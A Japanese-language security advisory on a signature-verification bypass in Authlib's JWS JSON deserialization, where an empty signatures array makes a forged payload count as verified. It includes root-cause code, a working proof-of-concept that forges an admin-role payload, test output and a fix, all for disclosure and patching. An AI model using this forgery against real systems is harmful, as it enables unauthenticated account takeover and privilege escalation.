Authlib: JWS JSON デシリアライゼーションにおける署名検証の脆弱性
Authlib (1.9.0より前のバージョン) には、署名検証を回避できる脆弱性があります。`JsonWebSignature.deserialize_json()` メソッドは、JSON シリアライゼーションされた JWS オブジェクトを受け取り、署名を検証せずに、暗号鍵を必要とせずに、ペイロードを正常に検証されたものとして返します。
## 根本原因
`authlib/jose/rfc7515/jws.py` のコード(インストールされた 1.8.0 のバージョン):
```python
is_valid = True # 何も検証する前に True に設定
for header_obj in obj["signatures"]: # 空の配列の場合、このループは実行されない
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # ペイロードを検証済みとして返す
```
`is_valid` は `True` に初期化され、ループ内でのみ `False` に設定されます。`signatures` 配列が空の JWS JSON シリアライゼーションオブジェクトの場合、ループは 0 回実行されるため、`is_valid` フラグは維持され、ペイロードが検証済みとして返されます。鍵は参照されません。なぜなら、署名が検証されないからです。
## 再現方法
```python
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
```
authlib 1.8.0、Python 3.14、クリーンな仮想環境で確認されました。
[A] ATTACK:一般的なJSON、シグネチャ:[]、キー:None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK:一般的なJSON、シグネチャ:[]、キー:<実際のキー>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+:2つのシグネチャを持つ、正しいキーを持つ一般的なJSON
ACCEPTED (期待通り) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL-:同じオブジェクトだが、最初のシグネチャが破損している
rejected (期待通り): BadSignatureError bad_signature:
[E] CONTROL-:シグネチャの配列が完全に削除されている(空ではなく、存在しない)
rejected: DecodeError "protected"の値がありません:
[C] は、検証機能が通常のオブジェクトに対して正常に動作することを示し、システムの状態が良好であることを示します。[D] は、改ざんが検出されることを示します。[E] は、これは配列が空であるという特定のケースであり、一般的なメンバー不足のバグではないことを示します。[A] と [B] は、回避策であり、[B] は、正しいキーを持っているだけでは、呼び出し元を保護できないことを示しています。空の配列は、どちらの場合でも受け入れられます。
比較として、このモジュールの非推奨に関する警告がユーザーを誘導するライブラリであるjoserfc 1.7.5は、同じオブジェクトを`BadSignatureError`で拒否します。正しい動作は、すでに新しいライブラリに実装されています。
## 影響
`JsonWebSignature.deserialize_json()`を、自身が生成していない入力に対して呼び出すすべてのシステムは、攻撃者が作成したペイロードを署名付きとして受け入れてしまいます。そのペイロードが、IDや認証情報を伝えている場合、これは、キー情報を持たない、認証されていないリモート呼び出し元による完全な認証バイパスとなります。
## 修正方法
`_deserialize_json`内で、ループの前に`signatures`配列が空の場合に拒否するか、シグネチャの数からフラグを初期化する(例:`is_valid = len(obj["signatures"]) > 0`)。プルリクエスト#938は、同様の修正を提案しています。
影響を受けるパッケージ:
- pip (Python) authlib: 影響を受けるバージョンは1.8.0以下、1.9.0で修正済み。